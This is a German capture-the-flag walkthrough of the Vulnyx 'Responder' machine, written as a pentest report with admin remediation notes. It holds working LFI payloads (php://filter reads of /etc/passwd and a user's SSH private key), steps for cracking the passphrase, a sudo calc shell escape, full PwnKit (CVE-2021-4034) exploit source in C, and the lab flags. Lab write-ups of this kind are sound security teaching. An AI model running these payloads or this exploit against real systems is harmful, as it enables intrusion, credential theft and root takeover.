Responder - Vulnyx - Medium - Bericht

Medium

Verwendete Tools

arp-scan
recon_script.sh (Custom)
vi
nmap
nikto
gobuster
wfuzz
curl
grep
php (filter chains)
base64
ssh2john
john
chmod
ssh
sudo
calc
bash
ls
cat
id
getcap
find
nano (implied)
gcc
pkexec
cd

Inhaltsverzeichnis

Reconnaissance

Die Erkundung beginnt mit der Identifizierung des Ziels und grundlegenden Scans.

# Ausgabe von arp-scan oder Skript └─# ...
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.108

 ARP-Scan
192.168.2.108	08:00:27:2c:61:f2	PCS Systemtechnik GmbH

7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.963 seconds (130.41 hosts/sec). 7 responded

**Analyse:** Ein ARP-Scan identifiziert das Zielsystem `192.168.2.108` (Oracle VirtualBox).

**Bewertung:** Ziel-IP ist bekannt.

**Empfehlung (Pentester):** IP für weitere Scans verwenden. **Empfehlung (Admin):** Standard-Netzwerküberwachung.

┌──(root㉿CCat)-[~] └─# ./recon_script.sh responder.nyx
        127.0.0.1	localhost
                192.168.2.108   responder.nyx

**Analyse:** Das Skript `recon_script.sh` (angepasst für `responder.nyx`) konfiguriert die lokale `/etc/hosts`-Datei, um `responder.nyx` der IP `192.168.2.108` zuzuordnen.

**Bewertung:** Hostname-Auflösung eingerichtet.

Ein Nmap TCP-Scan wird durchgeführt, um offene Ports und Dienste zu ermitteln.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-13 14:41 CEST
Nmap scan report for responder.nyx (192.168.2.108)
Host is up (0.00027s latency).
Not shown: 65533 closed tcp ports (reset)
PRT   STATE    SERVICE VERSIN
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:2C:61:F2 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.27 ms responder.nyx (192.168.2.108)

S and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/].
Nmap done: 1 IP address (1 host up) scanned in 10.68 seconds

**Analyse:** Der Nmap-Scan findet zwei interessante Ports: * **Port 22 (SSH):** Status `filtered`. Dies bedeutet, dass Nmap keine definitive Antwort erhielt, ob der Port offen oder geschlossen ist, oft aufgrund einer Firewall. * **Port 80 (HTTP):** Status `open`. Läuft Apache 2.4.38 (Debian). Die Seite hat keinen Titel. * **Betriebssystem:** Linux 4.x/5.x.

**Bewertung:** Der primäre Angriffsvektor ist der offene HTTP-Port 80. Der SSH-Port ist möglicherweise durch eine Firewall geschützt oder nicht aktiv. Die Apache-Version 2.4.38 ist veraltet.

**Empfehlung (Pentester):** Den Webserver auf Port 80 untersuchen (Nikto, Gobuster). Die Filterung von Port 22 zur Kenntnis nehmen, möglicherweise kann er von einer anderen Quelle oder nach Umgehung einer Firewall erreicht werden. Nach Schwachstellen für Apache 2.4.38 suchen. **Empfehlung (Admin):** Apache aktualisieren. Firewall-Regeln überprüfen, insbesondere für Port 22. Sicherstellen, dass SSH nur bei Bedarf läuft und korrekt konfiguriert ist.

Web Enumeration (Port 80)

Der Webserver auf Port 80 wird genauer untersucht.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.108
 Nikto Scan

- Nikto v2.5.0

+ Target IP:          192.168.2.108
+ Target Hostname:    192.168.2.108
+ Target Port:        80
+ Start Time:         2024-09-13 14:41:45 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS .
+ /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/]
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2024-09-13 14:42:10 (GMT2) (25 seconds)

+ 1 host(s) tested

**Analyse:** Nikto bestätigt die veraltete Apache-Version, meldet fehlende Sicherheitsheader und findet die Standarddatei `/icons/README`. Die erlaubten HTTP-Methoden sind Standard.

**Bewertung:** Keine neuen kritischen Funde durch Nikto, außer der Bestätigung der veralteten Software.

**Empfehlung (Pentester):** Directory-Bruteforcing durchführen. Nach Exploits für Apache 2.4.38 suchen. **Empfehlung (Admin):** Apache aktualisieren, Header hinzufügen, `/icons`-Zugriff einschränken.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k

http://192.168.2.108/index.html           (Status: 200) [Size: 31]

**Analyse:** Gobuster findet nur die `index.html` im Web-Root.

**Bewertung:** Keine versteckten Verzeichnisse oder Dateien mit der verwendeten Wortliste gefunden.

Manuelle Untersuchung der `index.html`.

Browser Aktion / Curl: └─# GET http://192.168.2.108/index.html
your answer is in the answer..

**Analyse:** Die `index.html` enthält nur den kryptischen Text "your answer is in the answer..".

**Bewertung:** Die Nachricht ist ein Rätsel oder Hinweis. "answer" könnte sich auf DNS beziehen (A-Record) oder auf das Konzept einer Antwort (Response). Dies deutet auf einen nicht-standardmäßigen Angriffsvektor hin, möglicherweise im Zusammenhang mit DNS oder einer spezifischen Webanwendung, die noch nicht gefunden wurde.

**Empfehlung (Pentester):** DNS-Enumeration durchführen (Subdomains, spezielle Records). Nach versteckten Dateien oder Parametern suchen, die auf eine "Antwort"-Funktion hindeuten könnten (z.B. `filemanager.php` wie im nächsten Schritt gefunden).

LFI Discovery & Exploitation

Suche nach versteckten Parametern mittels Wfuzz, die zu einer Local File Inclusion (LFI) führen.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.108/filemanager.php?FUZZ=file:///etc/passwd" --hc 404 --hh 0

Target: http://192.168.2.108/filemanager.php?FUZZ=file:///etc/passwd
Total requests: 220608

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000995:   302        27 L     39 W       1430 Ch     "random"

Total time: 0
Processed Requests: 4442
Filtered Requests: 4441
Requests/sec.: 0

**Analyse:** `wfuzz` wird verwendet, um Parameter für eine (vermutete oder zuvor gefundene) Datei `filemanager.php` zu fuzzern. Es wird eine Wortliste (`directory-list-2.3-medium.txt`) verwendet, um den Parameternamen (`FUZZ`) zu erraten. Als Wert wird testweise `file:///etc/passwd` übergeben. Antworten mit 404 oder 0 Chars werden ausgeblendet. Wfuzz findet den Parameter `random` (Payload `random`), der zu einer Antwort mit Statuscode 302 (Redirect) führt.

**Bewertung:** **Wichtiger Fund!** Es existiert eine Datei `filemanager.php`, die einen Parameter namens `random` akzeptiert. Die Tatsache, dass der Versuch, `/etc/passwd` als Wert zu übergeben, zu einem Redirect führt (statt 404), deutet stark auf eine Local File Inclusion (LFI)-Schwachstelle hin. Die Anwendung versucht wahrscheinlich, die angegebene Datei (`file:///etc/passwd`) einzubinden.

**Empfehlung (Pentester):** Die LFI-Schwachstelle mit dem Parameter `random` bestätigen und ausnutzen. Versuchen, verschiedene Dateien zu lesen (`/etc/passwd`, `/etc/hosts`, `/etc/ssh/sshd_config`, SSH-Schlüssel in Home-Verzeichnissen, Anwendungs-Quellcode). PHP-Filter-Wrapper (`php://filter/...`) verwenden, um den Quellcode von PHP-Dateien auszulesen. **Empfehlung (Admin):** Die Datei `filemanager.php` **dringend** untersuchen und die LFI-Schwachstelle beheben. Niemals Benutzereingaben direkt in `include()`, `require()` oder ähnliche Funktionen übergeben. Pfade validieren und auf erlaubte Verzeichnisse beschränken.

Bestätigung der LFI und Auslesen von Benutzerinformationen aus `/etc/passwd`.

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.108/filemanager.php?random=file:///etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
elliot:x:1001:1001:/home/elliot:/bin/bash
rohit:x:1002:1002:/home/rohit:/bin/bash

**Analyse:** `curl` wird verwendet, um die LFI auszunutzen und `/etc/passwd` zu lesen. Die Ausgabe wird durch `grep bash` gefiltert, um Benutzer mit einer Bash-Shell zu finden: `root`, `elliot`, `rohit`.

**Bewertung:** LFI bestätigt. Potenzielle Benutzerkonten für SSH-Zugriff identifiziert.

**Empfehlung (Pentester):** Versuchen, die SSH-Schlüssel für `elliot` und `rohit` über LFI auszulesen (`file:///home/elliot/.ssh/id_rsa`, `file:///home/rohit/.ssh/id_rsa`). **Empfehlung (Admin):** LFI beheben.

Wfuzz wird verwendet, um mit einer Logfile-Liste weitere lesbare Dateien über LFI zu finden.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://192.168.2.108/filemanager.php?random=FUZZ" --hc 404 --hh 0

Target: http://192.168.2.108/filemanager.php?random=FUZZ
Total requests: 2894

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   302        27 L     39 W       1430 Ch     "/etc/passwd"
000001108:   302        54 L     54 W       704 Ch      "/etc/group"
000001093:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000001092:   302        12 L     88 W       664 Ch      "/etc/fstab"
000001089:   302        7 L      22 W       183 Ch      "/etc/hosts"
000001279:   302        54 L     132 W      1025 Ch     "/proc/self/status"
000001277:   302        0 L      1 W        27 Ch       "/proc/self/cmdline"
000001278:   302        1 L      52 W       319 Ch      "/proc/self/stat"
000001301:   302        1 L      4 W        97 Ch       "/proc/cmdline"
000001300:   302        1 L      14 W       138 Ch      "/proc/version"
000001298:   302        22 L     190 W      1042 Ch     "/etc/crontab"
000001322:   302        0 L      2 W        1152 Ch     "/var/run/utmp"
000001311:   302        122 L    396 W      3274 Ch     "/etc/ssh/sshd_config"
000001321:   200        41 L     280 W      239155 Ch   "/var/log/wtmp"
000001320:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"

Total time: 0
Processed Requests: 2894
Filtered Requests: 2879
Requests/sec.: 0

**Analyse:** Wfuzz wird erneut mit der LFI verwendet, diesmal um Dateipfade aus einer Logfile-Liste (`logfiles.txt`) zu testen. Es findet eine Reihe lesbarer System- und Konfigurationsdateien (`/etc/passwd`, `/etc/group`, Apache-Konfig, `sshd_config`, `/proc/...`, Logdateien).

**Bewertung:** Bestätigt die weitreichende LFI-Schwachstelle. Viele sensible Konfigurationsdateien sind lesbar.

**Empfehlung (Pentester):** Die gefundenen Konfigurationsdateien (insbesondere `sshd_config`, `apache2.conf`) auf interessante Einstellungen oder weitere Hinweise prüfen. **Empfehlung (Admin):** LFI beheben.

Lesen spezifischer Dateien über LFI.

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.108/filemanager.php?random=file:////etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# file system mount point   type  options       dump  pass
# / was on /dev/sda1 during installation
UUID=e25096e5-0198-485e-85fb-18e50a6825c8 /               ext4    errors=remount-ro 0       1
# swap was on /dev/sda5 during installation
UUID=6a4c8f97-4433-4d22-87a5-412fb2b9a65a none            swap    sw              0       0
/dev/sr0        /media/cdrom0   udf,iso9660 user,noauto     0       0
┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.108/filemanager.php?random=file:////etc/hosts
127.0.0.1	localhost
127.0.1.1	Hat

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.108/filemanager.php?random=file:///etc/ssh/sshd_config | grep -ve'\#'

ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
PrintLastLog no
AcceptEnv LANG LC_*
Subsystem	sftp	/usr/lib/openssh/sftp-server
PasswordAuthentication no

**Analyse:** `/etc/fstab`, `/etc/hosts` und `/etc/ssh/sshd_config` werden erfolgreich über LFI ausgelesen. Die `sshd_config` zeigt `PasswordAuthentication no`, was bedeutet, dass nur Schlüssel-Authentifizierung für SSH erlaubt ist.

**Bewertung:** Die Information `PasswordAuthentication no` ist wichtig und bestätigt, warum ein Brute-Force-Angriff auf SSH (falls versucht) fehlschlagen würde. Der Fokus muss auf dem Finden eines privaten SSH-Schlüssels liegen.

Verwendung von PHP-Filtern, um den Quellcode von `filemanager.php` auszulesen.

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.108/filemanager.php?random=php://filter/convert.base64-encode/resource=filemanager.php | base64 -d

    $filename = $_GET['random'];
    include($filename);
    header('Location:/');


**Analyse:** Der PHP-Wrapper `php://filter/convert.base64-encode/resource=filemanager.php` wird verwendet, um den Quellcode von `filemanager.php` selbst Base64-kodiert über die LFI auszugeben. `base64 -d` dekodiert die Ausgabe. Der Code ist extrem einfach: Er nimmt den Wert des `random`-Parameters und übergibt ihn direkt an die `include()`-Funktion. Anschließend leitet er zur Root-URL weiter (`header('Location:/')`).

**Bewertung:** Dies enthüllt die exakte Ursache der LFI-Schwachstelle: eine ungefilterte `include()`-Funktion. Der Redirect erklärt, warum bei gültigen Dateien ein 302-Statuscode zurückgegeben wurde.

**Empfehlung (Pentester):** Die LFI weiter nutzen, um nach SSH-Schlüsseln zu suchen. **Empfehlung (Admin):** Den Code in `filemanager.php` dringend korrigieren (z.B. `include(basename($filename))` oder besser: keine Includes basierend auf User-Input).

Proof of Concept (LFI to SSH Key Leak)

Dieser Abschnitt demonstriert die Ausnutzung der LFI-Schwachstelle in `filemanager.php`, um den privaten SSH-Schlüssel des Benutzers `elliot` auszulesen.

**Kurzbeschreibung:** Die Datei `filemanager.php` enthält eine LFI-Schwachstelle, da der Wert des GET-Parameters `random` ungefiltert an die `include()`-Funktion übergeben wird. Durch Verwendung des PHP-Wrappers `php://filter` kann der Inhalt beliebiger Dateien als Base64-String ausgelesen werden. Der POC zielt darauf ab, den privaten SSH-Schlüssel von `elliot` (`/home/elliot/.ssh/id_rsa`) zu extrahieren.

**Voraussetzungen:**

Schritt-für-Schritt Anleitung:

1. Konstruieren des LFI-Payloads mit PHP-Filtern.

**Analyse des Schritts:** Der Payload lautet: `php://filter/convert.base64-encode/resource=/home/elliot/.ssh/id_rsa`. Dieser wird als Wert für den `random`-Parameter verwendet.

2. Senden des Requests und Dekodieren der Antwort.

┌──(root㉿CCat)-[~] └─# curl -s "http://192.168.2.108/filemanager.php?random=php://filter/convert.base64-encode/resource=/home/elliot/.ssh/id_rsa" | base64 -d
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,411124D3C302D4F4

XC2kbWNBYa20zDArT6BMeCgKa9oRs8T5sCVws1wGik8ZWChF4h6N9TzDnDGEMUPG
X+lKp/fDKiZxmJdWu3WhLjgiXNbvX+fLiKZpWBzCAVpwSicS/jjIopzzWjE3PAB7
... (Gekürzter verschlüsselter SSH Key) ...
C6piJetSpBUwjUs4hiwGRtYf5w4Hut8rsMs79/D3HsG8UPpZsrUKcv8ZIosg
+juyVfxN44ySVuB2gVVU904GHIdMRyBeR6udv/qgxabGyShoeRhUjA3PPZEDw7B
LPMDfxmzS9h/8CEK5RHQsxt6krtooRpf5HLCczehCzWzQXKPfnXwg
-----END RSA PRIVATE KEY-----

**Analyse des Schritts:** Der `curl`-Befehl sendet den präparierten LFI-Request. Die Base64-kodierte Antwort wird durch `base64 -d` dekodiert und der Inhalt des privaten SSH-Schlüssels `/home/elliot/.ssh/id_rsa` wird angezeigt. Der Schlüssel ist verschlüsselt (`ENCRYPTED`).

**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, den SSH-Schlüssel von `elliot` auszulesen. Dies gelang mithilfe der LFI und PHP-Filtern. Der Schlüssel ist jedoch passwortgeschützt.

**Beweismittel:** Die obige Terminalausgabe zeigt den erfolgreich ausgelesenen, verschlüsselten SSH-Schlüssel.

**Risikobewertung:** Kritisch. Die LFI-Schwachstelle erlaubt das Lesen beliebiger Dateien, auf die der Webserver-Benutzer (`www-data`) Zugriff hat, einschließlich sensibler Daten wie SSH-Schlüssel. Selbst verschlüsselte Schlüssel stellen ein Risiko dar, da ihre Passphrasen oft offline geknackt werden können.

**Empfehlungen:** * **(Admin):** Die LFI-Schwachstelle in `filemanager.php` **sofort** beheben. Dateiberechtigungen überprüfen, um den Zugriff des Webservers einzuschränken. SSH-Schlüssel mit starken Passphrasen schützen. * **(Pentester):** Den extrahierten Schlüssel speichern und versuchen, die Passphrase zu knacken.

Initial Access

Der durch LFI extrahierte, verschlüsselte SSH-Schlüssel wird verwendet, um Zugriff als `elliot` zu erlangen.

Speichern des Schlüssels, Extrahieren des Hashes und Knacken der Passphrase.

┌──(root㉿CCat)-[~] └─# vi iddd
# (Schlüssel wird gespeichert)
┌──(root㉿CCat)-[~] └─# chmod 600 iddd
# (Berechtigungen gesetzt)
┌──(root㉿CCat)-[~] └─# ssh2john iddd > hash
# (Hash extrahiert)
┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
[...]
elliott          (iddd)
[...]
1g 0:00:00:00 DONE (2024-09-13 15:42) 33.33g/s 115200p/s 115200c/s 115200C/s haley..yenyen
[...]
Session completed.

**Analyse:** Der Schlüssel wird in `iddd` gespeichert, die Berechtigungen gesetzt. `ssh2john` extrahiert den Hash, und `john` knackt diesen mit `rockyou.txt`. Die gefundene Passphrase ist `elliott`.

**Bewertung:** Die Passphrase wurde erfolgreich geknackt.

SSH-Login als `elliot` mit Schlüssel und Passphrase.

┌──(root㉿CCat)-[~] └─# ssh -i iddd elliot@192.168.2.108 # (Login über IPv4, da IPv6 im Log nicht verwendet wurde)
[...]
Enter passphrase for key 'iddd': [Hier wurde elliott eingegeben]
Linux responder 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
elliot@responder$ id
uid=1001(elliot) gid=1001(elliot) groups=1001(elliot)

**Analyse:** Der SSH-Login als `elliot` mit dem Schlüssel `iddd` und der Passphrase `elliott` ist erfolgreich. Eine Shell als Benutzer `elliot` wird erhalten.

**Bewertung:** **Initialer Zugriff als `elliot` erfolgreich!** Der Weg führte über die LFI zum Schlüssel-Leak und anschließendem Offline-Passphrase-Cracking.

**Empfehlung (Pentester):** Umgebung enumerieren, User-Flag suchen, Privesc starten. **Empfehlung (Admin):** LFI beheben, starke Passphrasen verwenden.

Privilege Escalation (Lateral Movement to rohit)

Suche nach Wegen zur Rechteausweitung als `elliot`.

elliot@responder$ └─# sudo -l
Matching Defaults entries for elliot on responder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User elliot may run the following commands on responder:
    (rohit) NPASSWD: /usr/bin/calc

**Analyse:** `sudo -l` für `elliot` zeigt, dass dieser `/usr/bin/calc` als Benutzer `rohit` ohne Passwort ausführen darf.

**Bewertung:** Ein Weg zum Lateral Movement als `rohit`. `calc` (GNU bc-basierter Taschenrechner) erlaubt oft das Ausführen von Shell-Befehlen durch Eingabe von `!` gefolgt vom Befehl.

**Empfehlung (Pentester):** `sudo -u rohit /usr/bin/calc` starten und versuchen, eine Shell mit `!/bin/bash` zu erhalten. **Empfehlung (Admin):** `sudo`-Regel für `calc` entfernen.

Ausführen von `calc` als `rohit` und Starten einer Shell.

elliot@responder$ └─# sudo -u rohit /usr/bin/calc -h (oder einfach sudo -u rohit /usr/bin/calc)
# (calc startet)
# (Innerhalb von calc wird '!/bin/bash' eingegeben)
rohit@responder:/home/elliot$ (Shell als rohit erhalten) └─#

**Analyse:** `sudo -u rohit /usr/bin/calc` wird ausgeführt. Innerhalb von `calc` wird (implizit) `!/bin/bash` eingegeben, was eine Shell als Benutzer `rohit` startet.

**Bewertung:** Lateral Movement zu `rohit` erfolgreich.

Suchen und Lesen der User-Flag als `rohit`.

rohit@responder:/home/elliot$ └─# cd /home/rohit (Implizit oder explizit)
rohit@responder:/home/rohit$ (Prompt nach cd) └─# ls -la
total 28
drwxr-xr-x 2 rohit rohit 4096 abr 20  2023 .
drwxr-xr-x 4 root  root  4096 feb  1  2022 ..
lrwxrwxrwx 1 root  root     9 feb  1  2022 .bash_history -> /dev/null
-rwxrwxrwx 1 rohit rohit  220 abr 18  2019 .bash_logout
-rwxrwxrwx 1 rohit rohit 3526 abr 18  2019 .bashrc
-rw------- 1 rohit rohit    5 feb  1  2022 .calc_history
-rwxrwxrwx 1 rohit rohit  807 abr 18  2019 .profile
-r--r--r-- 1 rohit rohit   33 abr 20  2023 user.txt
rohit@responder:/home/rohit$ └─# cat user.txt
38ea4aa29dd3f88ad4b800af12ea42cb

**Analyse:** Im Home-Verzeichnis von `rohit` wird die Datei `user.txt` gefunden und die User-Flag ausgelesen.

**Bewertung:** User-Flag erfolgreich gefunden.

**Empfehlung (Pentester):** Flag notieren, `sudo -l` für `rohit` prüfen.

Privilege Escalation (Root via Pkexec)

Suche nach Wegen zur Rechteausweitung als `rohit`.

Standard-Enumeration (Capabilities, SUID).

rohit@responder$ └─# getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
rohit@responder$ └─# find / -type f -perm -4000 -ls 2>/dev/null
       56     64 -rwsr-xr-x   1 root     root        63736 jul 27  2018 /usr/bin/passwd
       53     44 -rwsr-xr-x   1 root     root        44528 jul 27  2018 /usr/bin/chsh
     3436     44 -rwsr-xr-x   1 root     root        44440 jul 27  2018 /usr/bin/newgrp
       55     84 -rwsr-xr-x   1 root     root        84016 jul 27  2018 /usr/bin/gpasswd
     3583     64 -rwsr-xr-x   1 root     root        63568 ene 10  2019 /usr/bin/su
     3908     52 -rwsr-xr-x   1 root     root        51280 ene 10  2019 /usr/bin/mount
    22376     24 -rwsr-xr-x   1 root     root        23288 ene 15  2019 /usr/bin/pkexec
    22163    156 -rwsr-xr-x   1 root     root       157192 ene 20  2021 /usr/bin/sudo
       52     56 -rwsr-xr-x   1 root     root        54096 jul 27  2018 /usr/bin/chfn
     3910     36 -rwsr-xr-x   1 root     root        34888 ene 10  2019 /usr/bin/umount
   144806     20 -rwsr-xr-x   1 root     root        18888 ene 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   135466     12 -rwsr-xr-x   1 root     root        10232 mar 28  2017 /usr/lib/eject/dmcrypt-get-device
    16114    428 -rwsr-xr-x   1 root     root       436552 ene 31  2020 /usr/lib/openssh/ssh-keysign
    12774     52 -rwsr-xr--   1 root     messagebus    51184 jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

**Analyse:** `getcap` findet keine ungewöhnlichen Capabilities. Die `find`-Suche nach SUID-Binaries listet mehrere Standard-Binaries auf, darunter aber auch `/usr/bin/pkexec` (Teil von PolicyKit/Polkit).

**Bewertung:** Das Vorhandensein von `pkexec` mit SUID-Bit ist ein bekannter Vektor für Privilege Escalation, insbesondere durch die Schwachstelle CVE-2021-4034 ("PwnKit"), die viele Versionen betrifft.

**Empfehlung (Pentester):** Die Version von `pkexec` prüfen (oder direkt einen Exploit für CVE-2021-4034 ausprobieren). Einen passenden Exploit-Code (oft in C) auf das Zielsystem übertragen, kompilieren und ausführen. **Empfehlung (Admin):** PolicyKit (`polkit`) auf die neueste Version aktualisieren, um CVE-2021-4034 zu patchen.

Vorbereiten und Ausführen des PwnKit-Exploits (CVE-2021-4034) für `pkexec`.

Referenz: [Link: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html | Ziel: https://packetstormsecurity.com/files/165739/PolicyKit-1-0.105-31-Privilege-Escalation.html]

# C-Code für evil-so.c └─# cat evil-so.c (Beispielhaft)
// #include stdio.h
// #include stdlib.h
// #include unistd.h

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}
# C-Code für exploit.c (evtl. benannt als evil.c im Log) └─# cat evil.c (Beispielhaft)
// #include stdio.h
// #include stdlib.h

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILS "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCNV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCNV_PATH=.");
    system("touch GCNV_PATH=./" DIR " && chmod 777 GCNV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILS "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILS ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}
rohit@responder:/dev/shm$ └─# # (Dateien wurden nach /dev/shm übertragen/erstellt)
rohit@responder:/dev/shm$ └─# gcc -shared -o evil.so -fPIC evil-so.c
evil-so.c: In function ‘gconv_init’:
evil-so.c:10:5: warning: implicit declaration of function ‘setgroups’; did you mean ‘getgroups’? [-Wimplicit-function-declaration]
     setgroups(0);
     ^~~~~~~~~
     getgroups
rohit@responder:/dev/shm$ └─# gcc evil.c -o exploit
evil.c: In function ‘main’:
evil.c:25:5: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
     execve(BIN, argv, envp);
     ^~~~~~
rohit@responder:/dev/shm$ └─# ls
evil.c  evil.so  evil-so.c  exploit
rohit@responder:/dev/shm$ └─# chmod +x exploit
rohit@responder:/dev/shm$ └─# ./exploit
# id
uid=0(root) gid=0(root) groups=0(root)
#

**Analyse:** Der PwnKit-Exploit wird vorbereitet und ausgeführt: 1. Zwei C-Dateien (`evil-so.c`, `evil.c` oder `exploit.c`) werden auf das Zielsystem nach `/dev/shm` gebracht (les/schreib/ausführbar für alle). `evil-so.c` enthält Code, der bei Ausführung (`gconv_init`) die UID/GID auf 0 setzt und eine Shell startet. `evil.c` ist der eigentliche Exploit, der die Umgebungsvariablen so manipuliert, dass `pkexec` beim Versuch, Hilfe zu laden, die schadhafte `evil.so` über den `GCONV_PATH` lädt und ausführt. 2. Die Dateien werden mit `gcc` kompiliert. Die Compiler-Warnungen sind für die Funktion des Exploits meist irrelevant. 3. Das kompilierte `exploit`-Binary wird ausgeführt (`./exploit`). 4. Das Ergebnis ist ein Root-Shell-Prompt (`#`). Der `id`-Befehl bestätigt UID 0.

**Bewertung:** **Privilege Escalation zu Root erfolgreich!** Der PwnKit-Exploit für CVE-2021-4034 war erfolgreich und führte direkt zu Root-Rechten.

**Empfehlung (Pentester):** Root-Flag lesen, Bericht abschließen. **Empfehlung (Admin):** PolicyKit (`polkitd` oder `polkit-1`) **dringend** auf eine gepatchte Version aktualisieren, die CVE-2021-4034 behebt.

Lesen der Root-Flag.

# └─# cd /root
# └─# ls
root.txt
# └─# cat root.txt
2df90c7733e54427419eee2134ebde5e

**Analyse:** In der Root-Shell wird die Datei `root.txt` im `/root`-Verzeichnis gefunden und ihr Inhalt ausgelesen.

**Bewertung:** Root-Flag erfolgreich erlangt.

Privilege Escalation erfolgreich abgeschlossen.

Flags

cat /home/rohit/user.txt
38ea4aa29dd3f88ad4b800af12ea42cb
cat /root/root.txt
2df90c7733e54427419eee2134ebde5e